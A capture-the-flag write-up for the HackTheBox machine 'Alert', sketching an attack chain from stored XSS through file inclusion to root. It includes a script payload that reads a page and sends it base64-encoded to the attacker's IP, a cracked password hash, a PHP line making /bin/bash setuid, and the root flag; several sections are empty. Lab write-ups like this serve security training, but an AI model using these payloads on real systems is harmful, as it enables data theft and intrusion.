// htb writeup 2026-02-25
alert
HackTheBox Easy
root obtained // PWNED

Hack The Box - Alert (10.10.11.44)

Overview

Alert is a Linux box that demonstrates how poor input validation and open-source misuse can lead to XSS, LFI, and privilege escalation. The attack chain moves from client-side injection to local file reads and finally code execution through a group-writable web app.


🔍 Enumeration

Nmap

nmap -p- 10.10.11.44 --min-rate 5000
nmap -p 22,80,12227 -sC -sV -oN nmap_alert

Open ports:


🌐 Web Enumeration


🧪 Exploiting the Markdown Upload (XSS → Data Exfiltration)

Key Payload Example

<script>
fetch("http://alert.htb/messages.php")
  .then(r => r.text())
  .then(data => fetch("http://10.10.14.12/?data=" + btoa(data)))
</script>

🕵️‍♀️ Local File Inclusion (LFI)

Cracked Credentials

$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/ → manchesterunited

🔐 User Access - Albert

ssh albert@alert.htb

🧱 Privilege Escalation

Exploit Code (pwned.php)

<?php exec("chmod +s /bin/bash"); ?>

🏁 Root Flag

cat /root/root.txt
b7cefe59a57b8e147e765e4e63eacc66

✅ Summary Table

Stage Technique
Foothold Stored XSS → JS Fetch Exfil via Markdown
Enumeration Virtual host & file fuzzing
Exploit LFI via PHP param injection & base64 trickery
User Access Cracked .htpasswd to get albert creds
Priv Esc Group-writable PHP file modified /bin/bash

🧠 Lessons Learned


Writeup by [Your Name]
GitHub: [https://github.com/inkedqt/ctf-writeups]